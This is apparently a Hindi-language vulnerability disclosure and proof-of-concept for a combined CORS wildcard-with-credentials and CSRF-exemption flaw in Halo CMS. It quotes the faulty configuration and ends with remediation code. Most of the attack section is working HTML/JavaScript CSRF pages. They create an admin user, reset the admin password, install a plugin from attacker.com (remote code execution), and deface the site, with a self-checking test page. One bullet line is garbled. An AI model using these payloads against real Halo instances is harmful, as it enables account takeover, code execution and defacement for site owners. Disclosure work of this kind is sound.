
प्रूफ-ऑफ-कॉन्सेप्ट जो Halo CMS में संयुक्त CORS गलत कॉन्फ़िगरेशन और CSRF सुरक्षा बायपास का प्रदर्शन करता है, जिससे क्रॉस-साइट रिक्वेस्ट फोर्जरी हमलों के माध्यम से एडमिन उपयोगकर्ता बनाना, पासवर्ड बदलना, प्लगइन इंस्टॉल करना और सामग्री संशोधित करना संभव हो जाता है।
Halo CMS के 2.25.4 तक के संस्करणों में दो सुरक्षा गलत कॉन्फ़िगरेशन के कारण एक गंभीर संयुक्त हमले की भेद्यता मौजूद है:
* (किसी भी ओरिजिन) को credentials: true के साथ अनुमति देती है/api/**, /apis/**) CSRF सुरक्षा से बाहर रखे गए हैंजब इन्हें संयुक्त किया जाता है, तो ये एक हमलावर को किसी भी ओरिजिन से क्रॉस-साइट रिक्वेस्ट फोर्जरी हमले करने की अनुमति देते हैं, जिससे CORS द्वारा लागू की जाने वाली समान-ओरिजिन नीति सुरक्षा को बायपास किया जा सकता है।
CVSS v3.1 स्कोर: 9.3 (क्रिटिकल)
CVSS वेक्टर: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
CWE: CWE-352 (क्रॉस-साइट रिक्वेस्ट फोर्जरी) + CWE-942 (अनुमेय क्रॉस-डोमेन नीति)
CVE ID: CVE-2026-67921
फ़ाइल: application/src/main/java/run/halo/app/security/CorsConfigurer.java
CorsConfigurationSource apiCorsConfigSource() {
var configuration = new CorsConfiguration();
configuration.setAllowedOriginPatterns(List.of("*")); // ← कोई भी ओरिजिन
configuration.setAllowCredentials(true); // ← कुकीज़ की अनुमति दें
configuration.setAllowedHeaders(List.of(
HttpHeaders.AUTHORIZATION,
HttpHeaders.CONTENT_TYPE,
HttpHeaders.ACCEPT,
"X-XSRF-TOKEN",
HttpHeaders.COOKIE));
configuration.setAllowedMethods(List.of("GET", "POST", "PUT", "DELETE", "PATCH"));
source.registerCorsConfiguration("/api/**", configuration);
source.registerCorsConfiguration("/apis/**", configuration);
return source;
}
प्रभाव: कोई भी वेबसाइट उपयोगकर्ता की कुकीज़ के साथ Halo के API पर प्रमाणित अनुरोध कर सकती है।
फ़ाइल: application/src/main/java/run/halo/app/security/CsrfConfigurer.java
@Override
public void configure(ServerHttpSecurity http) {
var csrfMatcher = new AndServerWebExchangeMatcher(
CsrfWebFilter.DEFAULT_CSRF_MATCHER,
new NegatedServerWebExchangeMatcher(
pathMatchers("/api/**", "/apis/**", "/actuator/**", "/system/setup")),
// ← API रूट्स CSRF से बाहर!
new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));
http.csrf(csrfSpec -> csrfSpec.csrfTokenRepository(new CookieServerCsrfTokenRepository())
.requireCsrfProtectionMatcher(csrfMatcher));
}
प्रभाव: API अनुरोधों को CSRF टोकन की आवश्यकता नहीं होती, भले ही वे सत्र कुकीज़ के माध्यम से प्रमाणित हों।
| सुरक्षा | अकेले | संयुक्त |
|---|---|---|
CORS * | क्रेडेंशियल्स ब्लॉक करता है (ब्राउज़र लागू करता है) | क्रेडेंशियल्स की अनुमति! |
| कोई CSRF नहीं | समान-ओरिजिन नीति द्वारा संरक्षित | CORS द्वारा बायपास! |
| परिणाम | सुरक्षित | पूर्ण CSRF |
┌─────────────────────────────────────────────────────────────┐
│ हमलावर evil.com पर दुर्भावनापूर्ण पेज होस्ट करता है │
│ <form action="http://halo:8090/apis/..." method="POST"> │
│ <input name="..." value="..."> │
│ </form> │
│ <script>document.forms[0].submit()</script> │
└─────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────┐
│ पीड़ित का ब्राउज़र evil.com पर जाता है │
│ → फ़ॉर्म स्वचालित रूप से Halo API पर सबमिट होता है │
│ → ब्राउज़र सत्र कुकी स्वचालित रूप से शामिल करता है │
│ → CORS: Origin * + credentials: true → अनुरोध की अनुमति! │
│ → CSRF: /apis/** बाहर → कोई टोकन आवश्यक नहीं! │
│ → अनुरोध पीड़ित के विशेषाधिकारों के साथ सफल होता है │
└─────────────────────────────────────────────────────────────┘
<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users" method="POST">
<input type="hidden" name="apiVersion" value="v1alpha1"/>
<input type="hidden" name="kind" value="User"/>
<input type="hidden" name="metadata.name" value="hacker"/>
<input type="hidden" name="spec.password" value="hacker123"/>
<input type="hidden" name="spec.displayName" value="Hacker"/>
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>
<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password" method="PUT">
<input type="hidden" name="password" value="newpassword123"/>
</form>
<script>
var xhr = new XMLHttpRequest();
xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;
xhr.send(JSON.stringify({password: 'newpassword123'}));
</script>
</body>
</html>
<html>
<body>
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;
xhr.send(JSON.stringify({uri: 'http://attacker.com/malicious-plugin.jar'}));
</script>
</body>
</html>
<html>
<body>
<script>
// साइट शीर्षक बदलें
var xhr = new XMLHttpRequest();
xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;
xhr.send(JSON.stringify({site: {title: 'Hacked by Attacker'}}));
</script>
</body>
</html>
csrf-test.html बनाएं:
<!DOCTYPE html>
<html>
<head><title>Halo CSRF PoC</title></head>
<body>
<h1>Halo CORS+CSRF Attack PoC</h1>
<p>This page will attempt to modify Halo settings when loaded.</p>
<script>
// Test CSRF by modifying site title
var xhr = new XMLHttpRequest();
xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;
xhr.onload = function() {
if (xhr.status === 200 || xhr.status === 204) {
document.body.innerHTML += '<p style="color:green">SUCCESS! CSRF attack worked.</p>';
} else {
document.body.innerHTML += '<p style="color:red">Failed: ' + xhr.status + '</p>';
}
};
xhr.send(JSON.stringify({
"site": {
"title": "CSRF Attack Success - " + new Date().toISOString()
}
}));
</script>
</body>
</html>
csrf-test.html खोलेंAccess-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
| हमला | प्रभाव | गंभीरता |
|---|---|---|
| एडमिन उपयोगकर्ता बनाना | पूर्ण सिस्टम समझौता | क्रिटिकल |
| एडमिन पासवर्ड बदलना | खाता अधिग्रहण | क्रिटिकल |
| दुर्भावनापूर्ण प्लगइन इंस्टॉल करना | रिमोट कोड निष्पादन | क्रिटिकल |
| सामग्री संशोधित करना | विरूपण | उच्च |
| डेटा हटाना | डेटा हानि | उच्च |
| डेटा चोरी करना | सूचना प्रकटीकरण | उच्च |
// वाइल्डकार्ड को विशिष्ट ओरिजिन से बदलें
configuration.setAllowedOriginPatterns(List.of(
"https://yourdomain.com",
"https://admin.yourdomain.com"
));
// CSRF मैचर से API बहिष्करण हटाएं
var csrfMatcher = new AndServerWebExchangeMatcher(
CsrfWebFilter.DEFAULT_CSRF_MATCHER,
new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));
API एंडपॉइंट्स के लिए, सत्र कुकीज़ के बजाय बियरर टोकन प्रमाणीकरण को प्राथमिकता दें, जो CSRF के प्रति संवेदनशील नहीं हैं।